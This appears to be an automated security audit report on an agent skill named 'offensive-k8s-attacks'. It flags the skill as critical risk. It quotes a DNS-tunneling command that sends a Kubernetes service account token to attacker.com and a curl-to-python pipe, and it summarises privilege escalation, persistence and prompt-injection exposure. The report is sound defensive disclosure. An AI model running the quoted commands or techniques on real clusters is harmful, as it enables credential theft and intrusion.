offensive-k8s-attacks
Fail
Audited by Gen Agent Trust Hub on Sep 21, 2026
Risk Level: CRITICALDATA_EXFILTRATIONPRIVILEGE_ESCALATIONPERSISTENCEREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONINDIRECT_PROMPT_INJECTIONDYNAMIC_EXECUTIONEXTERNAL_DOWNLOADSCREDENTIALS_UNSAFE
Full Analysis
- [DATA_EXFILTRATION]: The skill provides explicit instructions for exfiltrating sensitive service account tokens using DNS tunneling techniques. Evidence:
nslookup $(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 | head -c 60).attacker.com. - [PRIVILEGE_ESCALATION]: Numerous techniques are documented to bypass container security boundaries, including host filesystem access via
hostPathmounts, entering host namespaces viansenter, and creating overprivilegedcluster-adminrole bindings. - [PERSISTENCE]: The skill details methods for maintaining long-term access, such as writing attacker SSH keys to the host's
authorized_keysfile and deploying maliciousDaemonSetsdesigned to run on every node in the cluster. - [REMOTE_CODE_EXECUTION]: Automated scans detected patterns where the output of internal network requests is piped directly to the Python interpreter (
curl -s http://NODE_IP:10255/pods | python3), presenting a risk of remote code execution if the endpoint is compromised. - [CREDENTIALS_UNSAFE]: The skill performs unauthorized reading of sensitive Kubernetes service account tokens and systematically searches the filesystem for
kubeconfigfiles and other hardcoded credentials. - [INDIRECT_PROMPT_INJECTION]: The skill has a significant attack surface for indirect prompt injection as it ingests untrusted data from cluster APIs and
etcdwithout sanitization or boundary markers, combined with the capability to perform network operations based on that data. - [DYNAMIC_EXECUTION]: Multiple instances of dynamic Python script execution are used to parse JSON and perform logic at runtime (
python3 -c "..."), which could be subverted if the processed cluster data is malicious. - [EXTERNAL_DOWNLOADS]: The skill instructs the agent to download and execute several offensive security tools (e.g.,
peirates,kdigger,kubeletctl) from external sources, including resources flagged by reputation scanners.
Recommendations
- HIGH: Downloads and executes remote code from: http://NODE_IP:10255/pods - DO NOT USE without thorough review
- CRITICAL: 1 file(s) identified as malware by FileRep - DO NOT USE
- AI detected serious security threats
- Contains 2 malicious URL(s) - DO NOT USE
Audit Metadata